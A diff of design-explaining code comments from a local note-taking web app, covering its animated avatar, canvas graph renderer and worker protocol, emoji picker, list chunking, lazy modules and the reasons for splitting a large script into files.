+//:   ear and hair tips (#413b94, the hero's crest) and the lilac nebula
+//:   (#b098d6). Navy for the eyes (#081241) and the galaxy (#1c235a);
+//:   white-blue for highlights and starlight (#e7f6fd). Fixed in the CSS;
+//:   the live `--accent` tints only the aura, the rings' glow and the
+//:   iris's foot, never the body.
+//: - **Face.** Big rounded eyes, the iris deep navy-violet filling nearly
+//:   the whole eye and lightening toward its foot, centred by default, two
+//:   catchlights always at the upper left and one tiny sparkle; a fine
+//:   lash line; soft lower lids; faint brows; a small closed smile at rest
+//:   (open only pleased or laughing); soft cheeks with blush. Fifteen
+//:   moods, each a combination of all of these plus head tilt, body
+//:   squash, ear, hair, tail and ring lift and star brightness and one
+//:   small extra (sparkles, hearts, a thought, a tear). The combinations
+//:   are CSS (`[data-atlas-mood]` in 08-consistency.css); this file draws
+//:   the parts and says which mood.
+//: - **Life.** Breathing squash and stretch from the feet, blinks with an
+//:   occasional double blink, the tail swaying (wagging when pleased) with
+//:   its starlight glinting, the tendril tips drifting, dust drifting round
+//:   the rings, a slow head sway and the glow pulsing. All of it is CSS
+//:   transform and opacity on this one SVG, runs only while the mark is on
+//:   screen and motion is on, slows under Reduce motion and stops under
+//:   Avatar animation Off. The companion's figure (INBOX 540, 554, 564,
+//:   575) adds a rig: jointed arms eased on springs between the poses the
+//:   CSS names (`atlasRig`), a lid that sweeps down for a blink
+//:   (`atlasBlink`), the lower body's pose for what it is doing
+//:   (`ATLAS_LOWER_STATES`), the hair on a layer that trails the sway and a

-//  - **Reduced motion.** `typingDots` above swaps every animation for one
-//    static word when the OS asks for less motion, and the desktop shell
-//    inherits Windows' own "show animations" setting, which is off on a lot

-// So this pairs the indicator with a label that the stream updates as real
-// events arrive: what it is doing now, in the app's own words. Nothing here
-// invents a stage: every string it is given comes from an event that

-// Loaded after app.js (see index.html's <script> ordering comment): every

-// smallButton, chip, renderMarkdown, renderInlineMarkdown, safeMdSlice,
-// notePreviewText, renderEmblem, resolvedTheme, currentAccentHex,
-// appearancePref, allEntries, prefsCache, modelStatus, and more) is a
-// runtime call inside a function body or an event-listener closure, never a
-// parse-time reference, so load order only matters for the reverse
-// direction: anything in app.js that calls into dashboard.js
-// (refreshActiveTab's "dashboard" branch, switchTab's dashboard branch,
-// renderDashboardGreeting()/refreshArtForTheme() called from the appearance
-// code, etc.) does so from inside its own functions too, which by the time
-// they run have always already had this script loaded (same
-// DOMContentLoaded pass, no user interaction possible in between).
-//
-// Two hazards found doing this split, both the same shape as
-// documents.js's `initDocSidebarTabs()` one: a bare top-level reference in
-// app.js resolving before this file has loaded:
-//
-// 1. Two `addEventListener` registrations at the bottom of this file
-//    (`$("features-close")`, and the plain-reference form generally) used
-//    to live in app.js's own top-level wiring, passing `closeFeatures` as a
-//    bare function reference. That reference resolves the moment the
-//    registering line executes: app.js's own top-level pass, before this
-//    file has loaded. Fixed by moving the whole wiring group here, after
-//    its own functions, instead of splitting definition from call site. See
-//    the "wiring" section near the end of this file for the full
-//    explanation.
-// 2. `applyPalette()` (ai-tools.js) calls `refreshArtForTheme()` (this file), and
-//    `applyPalette` is itself reachable from a bare top-level call, 
-//    `applyAppearance()`, run once at parse time to paint the saved theme
-//    before first render. Caught live in Chromium, not by reading the code:
-//    a `ReferenceError` there aborted the rest of app.js's synchronous
-//    top-level wiring. Fixed with a `typeof` guard at that one call site
-//    (ai-tools.js's `applyPalette`) rather than moving `applyPalette` itself,
-//    since it does real app.js-only work (the whole-app palette/background)
-//    that has nothing to do with the dashboard.
-//
-// --- boundaries deliberately NOT crossed doing this split ---
-//
-// - `tickClocks()` (the `.live-clock` ticker `app.js` still owns) stays in
-//   app.js: it drives the Reminders tab's clock too, not just the

-//   sizes the top tab strip for every tab. Left in app.js.

+// MemoryMap AI: the graph, drawn to a Canvas 2D surface.
+//
+// GRAPH_PLAN.md §4 ("Renderer: Canvas 2D first") and §5 Phase 1. This is the
+// other half of `graph-worker.js`: the worker decides where the notes are,
+// this paints them, and neither one touches the DOM per node.
+//
+// **Why this exists at all** (§2.1, measured before it was written): the SVG
+// renderer builds one `<g>` per node with a circle, a halo, a shine and a
+// label, plus two `<line>`s per edge, and rewrites every one of their
+// attributes through d3's selection API on every tick. At a few hundred notes
+// that is thousands of DOM attribute writes per frame on the same thread the
+// pointer is being handled on, which is why dragging stuttered. Here a frame
+// is a few hundred canvas path operations regardless of how many notes there
+// are, and the simulation is not even on this thread.
+//
+// It is loaded as a classic script *after* graph.js and before app.js, so
+// `renderGraph()` in graph.js can dispatch to `renderGraphCanvas()` by name at
+// call time. Nothing in app.js's own top-level wiring names anything in here.
+//
+// What is deliberately shared with graph.js rather than re-implemented: the
+// note popup, the new-note form, the link panel, trace, the minimap, saved
+// views, keyboard driving, `fitGraphToView` and the tree/radial/arc layout
+// maths. Those are all renderer-agnostic, they work on `graphNodesRef` and on
+// `graphSvg`/`graphZoom`, and this file points those at the canvas.
+
+// --- the drawing surface ------------------------------------------------------
+
+//: **One surface, not a pile of module globals** (GRAPH_PLAN Phase 4, the

+//: there are two: the pane beside a note and the tab would have written each
+//: other's node array, transform, worker and hover state. `s = gcTab` as the
+//: last parameter everywhere means the tab's own calls, and the sweeps',
+//: read exactly as they did.
+//:
+//: `size` says which of the two this is. "full" is the tab: it owns the
+//: chrome (the legend, the minimap, the stats line, the time slider, trace,
+//: the keyboard) and writes the renderer-agnostic globals in graph.js that

+// --- hovering a node -----------------------------------------------------------
+//: Asked for: "can you make graph nodes temporarily expand to fill their glow
+//: bubble when I hover over them or smth?? I feel like the graph nodes could
+//: look slightly nicer, cooler, more professional and more modern. visually".
+//:
+//: Every node is already drawn with a halo 6px outside its core, and until now
+//: the only thing hovering one changed was a ring around it. The dot now grows
+//: out to that halo and the halo steps a little further out and brightens, so
+//: the glow stays a glow around the node rather than something the node has
+//: swallowed.
+//:
+//: **Animated here rather than in CSS.** The SVG renderer could do this with a
+//: `:hover` rule; this one paints to a canvas, which has no elements to hover
+//: and no transitions. So the eased value is held as one number and the draw
+//: loop is asked for frames only while it is moving: `gcHoverFrom`/`gcHoverTo`
+//: name the node it is leaving and the node it is entering, and both are
+//: eased, so moving the pointer straight from one node to the next shrinks the
+//: first while the second grows instead of snapping.
+//:
+//: The cost is bounded by construction: at most two nodes are ever mid-ease,
+//: the animation is 140ms, and when nothing is easing `gcHoverEase` is exactly
+//: 1 and no frames are requested at all.
+//: **Toned down after the first version was shown.** The owner: "the halo
+//: growth on the nodes is a bit visually jarring tbh". It was the full 6, so
+//: the smallest nodes jumped 67% wider in 140ms while their halo pushed out
+//: another 3 and brightened by half again: three things moving at once, and
+//: the smaller the node the louder it read. Half the distance, half the light
+//: and a little longer to travel it keeps the gesture (the node comes forward
+//: under the pointer) without the pop.
+//: **A node is a sprite, not three arcs.** The owner on the flat discs with
+//: a halo ring: "the visual part of the main graph design needs a better
+//: look", and on a first attempt with a highlight dot: "makes it look like a
+//: bowling ball". So: one soft radial fill per node (a little lighter at the
+//: centre, the category colour at the edge, no dot), a one-pixel rim a shade
+//: darker than the fill so the disc has an edge against any background, and
+//: a glow outside it that is wide and faint for a hub and narrow for a leaf.
+//: Drawn once per colour and size into an offscreen canvas at the current
+//: zoom and pixel ratio, then `drawImage`d, which is what keeps a
+//: two-thousand-node map inside the frame budget: a radial gradient per node
+//: per frame would not be.

+// MemoryMap AI: the graph's force simulation, off the main thread.
+//
+// GRAPH_PLAN.md §4 ("Simulation off the main thread") and §5 Phase 1. The SVG
+// renderer this replaces ran `d3.forceSimulation` on the main thread and wrote
+// thousands of DOM attributes per tick, so the simulation and the pointer
+// fought for the same thread and a drag stuttered. Here the simulation owns a
+// worker, and the main thread only ever paints what this posts.
+//
+// **d3 is vendored, and `importScripts` is what a classic worker has.** The
+// app ships `/vendor/d3.v7.min.js` (no CDN: the offline rule), it is a UMD
+// bundle, so `importScripts` puts `d3` on this worker's own global. The CSP
+// already allows it: `worker-src 'self'` is set in
+// `src/memorymap/core/security.py` (checked before writing this, not assumed, 
+// a directive missing there fails silently, which is the "policy silently
+// refusing the work" shape CLAUDE.md names).
+//
+// ---------------------------------------------------------------------------
+// The protocol, in both directions. Kept small on purpose: every message is
+// structured-cloned, so anything that travels per frame has to be a buffer.
+//
+// In:
+//   {type:"init", nodes:[{id,x,y,fx,fy,r}], edges:[{source,target,kind,score}],
+//    params:{gravity,spread,lengthByScore}, world:{left,top,right,bottom}, alpha, epoch}
+//       Replace the whole simulation. `id` is only used to map the drag/pin
+//       messages below onto array indices; positions travel by index alone.
+//       `epoch` is echoed on every message this run produces: see "Out".
+//   {type:"params", params:{gravity,spread}}      re-tune without a rebuild
+//   {type:"drag", phase:"start"|"move"|"end", id, x, y, keep}
+//       start -> alphaTarget(0.3) and pin; move -> move the pin; end ->
+//       alphaTarget(0) and, unless `keep`, release the pin.
+//   {type:"freeze", ids:[...]} / {type:"thaw"}
+//       Hold everything else still for the length of a drag, the same
+//       "aiming at a moving target is not a gesture" fix the SVG renderer
+//       carried, kept because drag-to-link still depends on it.
+//   {type:"pin", id, x, y} / {type:"unpin", id}   double-click hold / release
+//   {type:"reheat", alpha}                        nudge a settled layout
+//   {type:"stop"}                                 leave the tab
+//   {type:"recycle", buffer}                      hand a position buffer back
+//
+// Out:
+//   {type:"tick", positions:Float32Array (transferred), alpha, running, epoch}
+//       x,y interleaved, one pair per node, in the order `init` supplied.
+//   {type:"end", alpha, epoch}
+//                         the layout has settled; no further ticks are coming
+//                         until something reheats it.
+//
+// **Why every message out carries the `epoch` its `init` came with.** Both
+// directions of `postMessage` are asynchronous, so `{type:"stop"}` cannot
+// unsend a tick that has already been posted: it clears the timer here and
+// the tick sitting in the main thread's queue is still delivered afterwards.
+// The main thread applies positions *by index*, so a tick from the previous
+// simulation landing after the node array has been replaced writes the old
+// solution over the new one. That is what a tree drawn as a scatter is, and
+// it is why it happened only when the layout was switched while the force
+// simulation was still warm. The epoch lets the reader of a message decide
+// whether it is still about the graph on screen.

+// be dragged and placed in the whiteboard and mindmap and which are also
+// available in text editors and formatting toolbars").
+//
+// One lazy module, fetched with its stylesheet on first use by
+// `pickIconOrEmoji` (editor.js), so every surface that offers an icon or an emoji opens
+// the same panel: a map topic's icon slot, the board's and the map's Insert
+// menu (a placed sticker), the note and document formatting toolbars and the
+// "/" menu. Taken from Photoshop's Glyphs panel (search, a Recent row) and
+// Miro's icon panel (drag a tile onto the canvas).
+//
+// Its anatomy, from the recipe index's own rows:
+//
+//   - the popover shell (`.help-popover`, placed by `placeHelpPopover`,
+//     lifted to <body>), with a dialog head and its X;
+//   - a `.search-field` that filters as you type, over names and categories;
+//   - a `.seg` of two, Emoji and Icons, when a surface offers both;
+//   - one `role="listbox"` grid of `role="option"` tiles under group heads,
+//     Recent first (this device, twenty: a per-person convenience, so local
+//     storage, and the panel draws correctly without it).
+//
+// **Nothing is fetched.** The icons are the vendored Phosphor font's names,
+// read off its own stylesheet (`/vendor/phosphor/style.css`, already loaded at
+// boot), so there is no second list to keep in step with the font. The emoji
+// are a curated set with their Unicode names, written as escapes, as
+// `DOC_EMOJI_SOURCE` (documents-prose.js) is.
+//
+// **Keys:** arrows move through the grid (Up and Down by a row), Home and End,
+// Enter or Space picks, Escape closes and hands focus back to whatever opened
+// it; typing a letter in the grid goes back to the search field. **Drag:**
+// every tile carries its glyph as plain text (a drop into any text box inserts
+// it: an emoji as itself, an icon as `:ph-name:`) and as
+// `application/x-memorymap-icon`, which the board and the map read.
+//
+// Every builder uses createElement and textContent: nothing here parses markup.
+
+//: The curated emoji, by group: `[key, heading, "name=glyph,..."]`. Names are

+// with at most three cards about the paragraph under the caret, each typed
+// (repeats, contradicts, answers, a date, related) and each naming the
+// sentence in another note it is about. Nothing is ever written into the
+// text: a card offers Open, Not this, and for a date, Make a reminder.

+// Off by default, one switch in the dock's menu ("While you write"),
+// remembered per device like the other writing switches beside it.
+// Loaded with the Library bundle after documents.js, and reads only its
+// `docCmView` and `currentDoc` (one global scope, classic scripts).
+//
+// The timing is the plan's: 1.2 s after typing stops in a paragraph; one
+// request in flight; a reply for a paragraph that has since changed is
+// dropped. The first request is the fast local reading (under 300 ms with
+// no model); when it found something to judge, a second request asks the

+// card). Moved out of app.js on 2026-09-26 as one contiguous range (INBOX 426

+// app.js's globals, loaded in app.js's old order; nothing in an earlier file
+// calls into it while the page loads (scratchpad/appjs-map.js --check).
+
+// --- one map chip and one map preview, used everywhere ----------------------
+//
+//: MINDMAP_PLAN.md §5 item 12, and the sentence in it that is the whole
+//: reason this exists: *"One `mapChip()` and one `mapPreview()`, used by all
+//: of them: the app's recurring failure is the same object drawn five
+//: ways."*
+//:
+//: It had already happened twice before this was written. The Library's board
+//: card (`renderLibraryBoardsGallery`, whiteboard.js) drew the minimap with
+//: edges, labels, a sketch squiggle and an edge-aware label side; the
+//: dashboard's boards widget (`dashBoardThumb`, dashboard.js) drew the *same*
+//: `preview_items` at a different scale with **no edges at all**, so the one
+//: fact that distinguishes a map from a board was missing from one of the two
+//: places a map appears. Neither was wrong on its own; they were two opinions
+//: of one picture.
+//:
+//: Lives in app.js because five files draw these, whiteboard.js, dashboard.js,
+//: the timeline and the note renderer here, and the chat transcript, and
+//: app.js is the one loaded before all of them (see index.html's script
+//: order).
+
+//: The sizes a preview is ever drawn at. A named size rather than a pair of
+//: numbers per call site: "the Library card's minimap" and "the dashboard
+//: row's thumbnail" are the two real cases, and letting each caller pass its
+//: own geometry is how the two drifted apart in the first place.
+//:
+//: `labels` is off at row size deliberately. Sixteen characters beside a 9×6
+//: block is a legible texture in a 100×56 card; the same text in a 40×40
+//: thumbnail is a smear.
+//:
+//: `w`/`h` are the *box the picture is letterboxed into*, not the viewBox:
+//: since the drawing is now made at the board's own ratio, the two are the
+//: same only for a board that happens to be shaped like the card. Everything
+//: else here (`pad`, `blockW`, `blockH`, `font`) is a size in that box, and
+//: `mapPreview` divides each of them by the scale the browser is about to
+//: apply, so a node in a tall map is drawn the same number of pixels across
+//: as a node in a wide one. Without that division the block sizes are in
+//: viewBox units and a square board's nodes come out 44% smaller than a wide
+//: board's, for no reason a reader could see.
+const MAP_PREVIEW_SIZES = {

+//: came out 52.9x24.7 with a rendered corner radius of 8.66px, which is 35% of
+//: its own short side. A rectangle whose corners eat a third of its height is

+//: corner on a 25px-tall block in a Library card and a pill on a 4px one in a
+//: dashboard row. It is divided back out by the box's own scale below, so the
+//: corner is the same size whatever shape the board is, and the fraction is
+//: left as the floor for a block too small to carry it.
+//:
+//: The nominal box is not pixels: a `card` is 100x56 here and measured 293.5px

+//   - `dismissible` (default true): render an image with the note-card
+//     delete/lightbox chrome. appendInline's callers (chat, documents, table
+//     cells) pass false: there is no note markdown line for a "remove this
+//     image" click to edit there, so they get a plain <img>.
+//   - `autolinkBareUrls` (default false): turn a plain `https://…` run into
+//     a real link. Off for note cards (unchanged), on for appendInline.
+//   - `underscoreSyntax` (default false): also recognize `__bold__`/
+//     `_italic_` and bare-URL autolinking, using INLINE_MD_LEGACY instead of
+//     INLINE_MD: see that constant's comment for why this is a second
+//     literal pattern rather than a superset with the extra alternatives
+//     suppressed after matching.
+//   - `strikeTag` (default "s"): appendInline's callers always used <del>,
+//     not the note-card renderer's <s>; style.css has separate rules for
+//     `.entry-content s` vs `.answer/.bubble-answer/.dash-body del`.
+//   - `applyLatex` (default true): appendInline never ran unlatex() on its
+//     text, so it stays off for that mode to keep behaviour unchanged.
+// Every default matches renderInlineMarkdown's original, options-less
+// behaviour exactly, so no existing call site needs to change.
+// The allow-list for anything a note's own text can turn into an href:
+// web links, mail, this app's own paths and in-page anchors. Everything

+// --- incremental list rendering (ROADMAP §85.4 items 3 and 4) ---------------
+//
+// **The problem this solves, measured rather than assumed.** Four of this
+// app's lists: the Notes list, the Library grid, the Timeline, the log
+// console: built one DOM node per record for the *entire* collection, with
+// no cap and no windowing. At 1,501 notes `renderEntries()` took ~533ms, and
+// it re-runs on every search keystroke, sort change, filter and save.
+//
+// **Why chunk-on-scroll rather than true virtualisation.** Real
+// virtualisation (absolute positioning against a scroll offset) needs to know
+// each row's height before it renders one. Every list here has variable
+// heights: a note card grows with its text, its tags, its attachments and
+// whether its inline actions are open, so a virtualiser would either need
+// measurement passes that cost what it saves, or fixed heights the design
+// does not have. Rendering in chunks as the end of the list approaches keeps
+// the DOM proportional to what has been *scrolled past* rather than to the
+// notebook, needs no height information at all, and leaves the list one
+// continuous scroll rather than turning it into pages, which is the
+// distinction BACKLOG §77 draws and deliberately asks for.
+//
+// **The honest trade:** the browser's own Ctrl+F cannot find text in a chunk
+// that has not rendered yet. That is a real loss, and it is why `initial` is
+// generous rather than minimal, a screenful and change is always present , 
+// and why it is applied to lists that have their own search box sitting
+// directly above them. It is not applied anywhere that the browser's find is
+// the only way through.
+//
+// `root: null` (the viewport) rather than the scroll container: an element
+// inside the scrolled-away part of a *nested* scroller is not intersecting

+// ratchet in tests/test_static_compression.py): the card opens once per
+// notebook, or when someone presses "Replay the welcome", so nothing here is
+// needed to draw the first screen. Loaded on first use by

+// fetches this file and then calls the real one. `maybeShowOnboarding` stays
+// in settings-wiring.js, because it is what decides whether to open the card
+// at all and it is a dozen lines. The three buttons are wired here, at the
+// bottom: they are only on screen while the card is, and the card only opens
+// through `openOnboarding`, so the wiring has always run by the time they can

+// of settings-panes.js on 2026-10-05 (the boot-script gzip budget, ratchet in
+// tests/test_static_compression.py): a row in the palette, Tools and features
+// or Quick access reaches `revealFeature` only by a person's click, so none
+// of this is needed to draw the first screen. Loaded on first use by
+// `LAZY_MODULES.reveal` (app.js), whose stand-in for `revealFeature` fetches
+// this file and then calls the real one. `catalogueRun` stays in
+// settings-panes.js: dashboard.js reads its return value at render time, and
+// its `run` closure only names `revealFeature` when a row is clicked.
+
+// --- landing on the feature a catalogue row names ----------------------------
+//
+// The owner, 2026-09-24: "I clicked on the "suggested links" option in the
+// tools and features panel and all it did was take me to the graph page, it
+// didnt actually open the menu option for suggested links in the graph like it
+// should have." Measured: of the 110 written rows in Tools and features, 50
+// switched tab (or opened the Library sub-tab, or a Settings pane) and stopped
+// there while naming one control on it, and the palette's two board rows did
+// nothing at all unless a board was already open. Each row was a hand-written
+// closure, and `switchTab("graph")` is the shortest closure that looks like it
+// works.
+//
+// So a row declares where it goes instead (`tests/test_catalogue_reveal.py`
+// has the three forms), and every row that names something smaller than a
+// tab names one entry here. `revealFeature` does the same five things for
+// each: the tab, the lazy bundle, the menu or panel or dialog the control is
+// in, a wait until the control is really on screen, and the app's own
+// jump-to highlight on it (`flashRevealed`, the ring `flashEntry` and a
+// Settings deep link already wear), so the eye lands where the row said.
+//
+// A target is `{ tab?, settings?, module?, open?, el | sel+built, text?,
+// focus?, flash?, fallback? }`: `el` is an id in index.html, `sel` a selector
+// for something built at runtime by the function `built` names (with `{arg}`
+// filled in from the row), `text` picks a menu row by its words, and
+// `fallback` is what is ringed instead when the feature needs something the
+// notebook does not have yet (a board to find a card on, a document to set a
+// word goal for): the control that makes one, rather than a row that does
+// nothing.

+// phone-shell.js, wiring.js, settings-wiring.js and spaces-find.js, and moved
+// here on 2026-10-05 (the boot-script gzip budget, ratchet in

+// is no moment in which a control is on screen without its listener. Each

+// files loaded, so two listeners on one element (`pref-export-dir` has two)
+// still run in the order they did. No other file adds a listener to any of
+// these elements (checked by listing every `addEventListener` on each id), and
+// nothing in the boot files clicks or dispatches on them, so no listener is
+// reached before the window is.
+//
+// Only element listeners are here. The handlers they call (`savePrefs`,
+// `applyBackendChoice`, ...) stay in the boot files, because other code calls
+// them too, and document-level listeners (Ctrl+S on Preferences, the

+// Loaded with the first open of Settings (`LAZY_MODULES.settingsUi`, app.js),
+// so none of it is in the boot gzip budget; it replaced `renderSuggested` in
+// ai-tools.js, which was 31 rows of `name ~size purpose` with 29 identical
+// filled Download buttons and not a word about memory. status.js calls
+// `renderSuggested(status)` on every poll while Settings is open, behind a
+// `typeof` guard.
+//
+// A card says, in this order: the name; the one-line purpose; the facts
+// (size on disk, the memory it asks for, what it is good at); whether it fits
+// this computer; whether it is installed or in use; and one primary action.
+// The numbers come from the server (`model_cards.py`, `/models/suggested`);
+// nothing here estimates anything.
+//
+// **Cards are kept, not rebuilt, on every poll.** The status poll runs every
+// second while a download is going, and a card rebuilt each time would drop an
+// open menu and the focus inside it. Each card remembers a signature of what
+// it shows; only a changed signature rebuilds its contents, and progress is
+// updated in place.

+// settings.js: the settings modal, the logs console, and appearance (theme,

+// Split out of app.js (§88.3; HISTORY.md has the split's full account).
 //
-// Loaded after app.js AND after documents.js/whiteboard.js/library.js/
-// editor.js/dashboard.js (see index.html's own script-order comment): every
-// reference here into an app.js/dashboard.js global ($, apiJson, toast,
-// smallButton, confirmDialog, setLabel, chip, copyToClipboard, saveFile,
-// authToken, desktopShell, prefsCache, allEntries, setPreference,
-// refreshModelStatus, refreshArtForTheme, renderEmblem, renderBrandLogo,
-// browserLogs, OVERRIDABLE_KEYS, LOOK_KEYS, manualOverrides's own callers,
-// and more) is a runtime call inside a function body or an event-listener
-// closure, never a parse-time reference, so normal load order only matters
-// for the reverse direction, see the two relocated calls at the very end of
-// this file for the one place that was not already true.
+// Load order: everything here that reaches into another file is a runtime
+// call inside a function or a listener, never a parse-time reference. The
+// one exception ran the other way, and is why `applyAppearance()` (with
+// `startBgArt()`) and `renderBrandLogo()` are called at the very end of this
+// file rather than from app.js: they read functions defined here, so called
+// from app.js's top level they threw before this file had loaded. The
+// head's pre-paint script already applied the saved look, so this later
+// call changes nothing a person can see.
 //
-// Two hazards found doing this split, the same `initDocSidebarTabs()` shape
-// documents.js's/dashboard.js's own splits found, a bare top-level
-// statement in app.js resolving before this file has loaded:
-//
-// 1. `applyAppearance(); if (bgArtOn()) startBgArt();` ran from a bare
-//    top-level pair of lines in app.js's own wiring, to paint the saved
-//    look before first render. `applyAppearance()` calls `applyPalette()`
-//    (app.js, stays there: see its own comment) which itself calls
-//    `bgArtOn()`/`startBgArt()` unconditionally, both of which moved here.
-//    Left as two lines in app.js, this would have thrown `ReferenceError:
-//    bgArtOn is not defined` and aborted the rest of app.js's synchronous
-//    top-level wiring (the tab-button click-listener loop included) before
-//    settings.js had even loaded to define them. Fixed the documents.js way:
-//    the call site moved with the code it calls into, run once at this
-//    file's own end instead of splitting definition from call site. Safe to
-//    run later than before: index.html's own pre-paint `<head>` script
-//    already stamps every load-bearing `data-*`/custom-property from
-//    localStorage before any `<script>` tag runs specifically to prevent a
-//    flash, so `applyAppearance()`'s own re-application arriving after every
-//    split file has loaded, still well before the browser's first paint,
-//    since none of these `<script>` tags defer or fetch anything remote, 
-//    changes nothing a user could see.
-// 2. `renderBrandLogo();`, the initial draw of the generative brand emblem
-//    (stays in app.js; used on the lock screen, onboarding, the chat avatar
-//    and more, not just here), sat at a second bare top-level line further
-//    down in app.js. `renderEmblem()` reads `ACCENTS`/`activeAccent()`/
-//    `appearancePref()`, all of which moved here, so this call had the exact
-//    same shape as hazard 1 and got the same fix: relocated to this file's
-//    own tail, right after the first pair, in its original relative order.
-//
-// **What stayed in app.js despite reading like "appearance"**, each for a
-// concrete reason rather than by default:
-// - `applyPalette()`, precedent from the dashboard.js split (§88.3 item 3):
-//   "it does real app.js-only work, the whole-app palette." Its own comment
-//   (updated by this split) explains the guard it already carries.
-// - `renderEmblem()`/`renderBrandLogo()`/`EMBLEM_SLOTS`/`emblemSeed` (the
-//   generative brand mark): used far outside Settings: the lock screen, the
-//   onboarding tour, the chat avatar, the graph's empty state. The same test
-//   documents.js's and library.js's splits used for their own functions
-//   (grep every call site, decide by what actually calls it, not by which
-//   comment block it happened to be written under).
-// - `MIRRORED_UI_EXTRAS`/`mirroredUiKeys()`/`watchMirroredUiKeys()`/
-//   `saveUiState()`/`seedUiStateFromServer()` (§35E, "keeping the look
-//   across restarts"), despite the section's own name, this mirrors far
-//   more than appearance: `activeTab`, every graph/whiteboard view
-//   preference, the chat composer's dragged height. It is called from a
-//   bare top-level line in app.js (`watchMirroredUiKeys();`) that runs
-//   before this file loads, so it has to stay resident there regardless.
-// - `OVERRIDABLE_KEYS`/`LOOK_KEYS`, small data tables, genuinely about
-//   appearance, but `mirroredUiKeys()` above spreads `LOOK_KEYS` into its
-//   own list synchronously at that same bare top-level call, so it has to be
-//   defined in app.js by then too. Kept there with a comment pointing here,
-//   rather than duplicated. `manualOverrides()` itself moved: its only
-//   callers are Settings' own UI, called well after everything has loaded.
-//
-// **The sibling `dashboard.js` split (§88.3 item 3) explicitly flagged two
-// zones as not its own and left them in app.js for this split to judge:**
-// "Wave J: accent themes + generative background" (this file's own: 
-// confirmed: curated/saved themes and the second, ambient p5 instance used
-// as Settings' own live accent preview, not a dashboard widget) and "SKILLS
-// DASHBOARD TAB" (`renderSkillsDashboard`, `#skills-dashboard-list`, the AI
-// Skills library page, an unrelated feature that happens to share the word
-// "dashboard" in its own internal naming; confirmed NOT this file's either,
-// and left in app.js since library.js's own split already owns the AI
-// Skills sub-tab it's called from). The "AI status pill"/`aiStatusState()`/
-// `renderAiPill()` code was also checked directly: it is core app-shell
-// chrome (top-bar status, `refreshModelStatus()`'s polling loop, the
-// AI-only-control gating used by Notes/Reminders/Documents/Whiteboard) with
-// far more callers than Settings, so it stayed in app.js too.
-//
-// **Deliberately not moved, and not appearance/logs/modal-shell either**,
-// each a separate Settings *section* the roadmap item didn't name and this
-// split left alone rather than guess at scope: account & security, web
-// search, preferences, optional extras + embedding models, the model
-// manager, personas, skills, tools, memory, capture templates, background
-// tasks, backups, and rebindable shortcuts. Every one of these already
-// renders inside the settings modal `showSettingsSection()` now drives from
-// here, exactly as it did from app.js before this split, moving the shell
-// does not require moving what it shows.
-//
-// No code sharing found between this file's own generative-background p5
-// instance (`startBgArt()`, five self-contained style builders) and
-// dashboard.js's "notebook constellation" widget beyond the same visual
-// motif in a comment, read both fully before concluding that; they do not
-// share a helper function.
+// Deliberately left in app.js: `applyPalette()` (the whole app's palette),
+// the brand emblem (used by the lock screen, the tour, the chat avatar),
+// the UI-state mirroring (`watchMirroredUiKeys`, run at app.js's top level)
+// with `LOOK_KEYS`, and the AI status pill (app-shell chrome with callers

 // **Focus a `<select>`. Never call `.focus()` on one directly.**
-//
-// `enhanceSelect` above takes the native control out of the tab order
-// (`select-native-hidden`, `tabIndex = -1`, `aria-hidden`) and puts a
-// `<button class="select-opener">` in front of it. So `select.focus()` on any
-// enhanced select focuses *nothing*: the keystrokes that follow go to
-// `document.body`, and a `keydown` bound to the select never fires at all
-// because the select never has the focus. Nothing throws and nothing logs;
-// the call reads as correct at every line involved.
-//
-// Found the hard way. Two listeners in the documents editor's "attach a link"
-// picker were written this way and only a Playwright sweep caught them: the
-// sweep pressed Escape, the picker stayed open, and the row's children read
-// back as SPAN and BUTTON rather than SELECT and BUTTON. Three more call
-// sites elsewhere in this file were doing the same thing silently
-// (the note's own bookmark picker, the chat skills panel, the note-to-document
-// picker), which is why this is a helper rather than three edits.
-//
-// **Why there is no lint for it.** `tests/test_frontend_handlers.py` and its
-// siblings read the source as text, and the thing that decides here is what a
-// variable *holds* at runtime: `picker.focus()` is dead when `picker` is a
-// select and correct when it is an input, and nothing in the text says which.
-// A name-based rule (`/select|picker/`) would both miss `box.focus()` on a
-// select and fail `picker.focus()` on a text input, and CLAUDE.md's rule is
-// that a lint which fires on the wrong thing gets widened until it means
-// nothing. So the guard is this function plus this comment, and the check is
-// the sweep: `scratchpad/ui-sweeps/selectfocus.js` walks every enhanced select
-// in the page and asserts that focusing it through here lands on something
-// focusable.
-//
-// The frame matters: `enhanceSelect` runs from a MutationObserver, so a select
-// created and focused in the same turn has no shell yet. One retry on the next
-// frame covers that without a timeout anyone has to tune.
-//
-// **`closest(".select-shell")`, not `parentElement`,** and that is a measured
-// correction rather than defensive coding. `enhanceSelect` does
-// `shell.append(select, opener, menu)`, so the shell *is* the parent at the
-// moment it runs, and the first version of this helper read the opener off
-// `select.parentElement`. `scratchpad/ui-sweeps/selectfocus.js` then found
-// three selects where that returns null (`notes-page-size`,
-// `library-page-size`, `reminders-page-size`): something in their markup sits
-// between them and the shell, so `parentElement` is not it, and the fallback
-// quietly focused the native control instead, which is `tabindex="-1"` and
-// `aria-hidden="true"`. `closest` finds the shell for every enhanced select in
-// the app, on every tab, measured.
-//
-// **When nothing takes the focus, nothing takes it.** Six of the app's selects
-// live inside a closed `<details>` menu (the timeline's options, the graph's,
-// the page-size pickers), where no descendant is focusable at all. This ends
-// up calling `opener.focus()` on a button that cannot have it, and the focus
-// stays where it was. That is the honest outcome for "the control you asked
-// for is inside a menu that is shut", and it is why the sweep skips those
-// rather than demanding a landing.
+// `enhanceSelect` hides the native control (`tabIndex = -1`, `aria-hidden`)
+// behind a `.select-opener`, so `select.focus()` focuses nothing and keys go
+// to `body`, silently (a Playwright sweep caught two in the link picker, and
+// three more call sites did the same). No lint can see it: what decides is
+// what a variable holds at runtime, so the guard is this helper and
+// `scratchpad/ui-sweeps/selectfocus.js`. One retry on the next frame covers a
+// select enhanced by the MutationObserver after it was created.

+// status.js: toasts, reminder notices, the notifications centre, undo and redo,

+// 2026-09-26 as one contiguous range (INBOX 426 cc,
+// docs/roadmap/agent-remaining/appjs-split.md). A classic script sharing
+// app.js's globals, loaded in app.js's old order; nothing in an earlier file
+// calls into it while the page loads (scratchpad/appjs-map.js --check).
+
+// --- toasts (Phase 5) ---------------------------------------------------------------
+
+// --- reminders you actually notice (§36C) ------------------------------------------
+//
+// Reported: "reminders when they go off aren't really noticeable and need to be
+// more evident, maybe through a browser or system/app notification?"
+//
+// The reason they were unnoticeable is simpler than it sounds: **nothing
+// checked.** A reminder's only surface was a small badge on the Reminders tab
+// button, painted by `updateReminderBadge`, which only ran when something
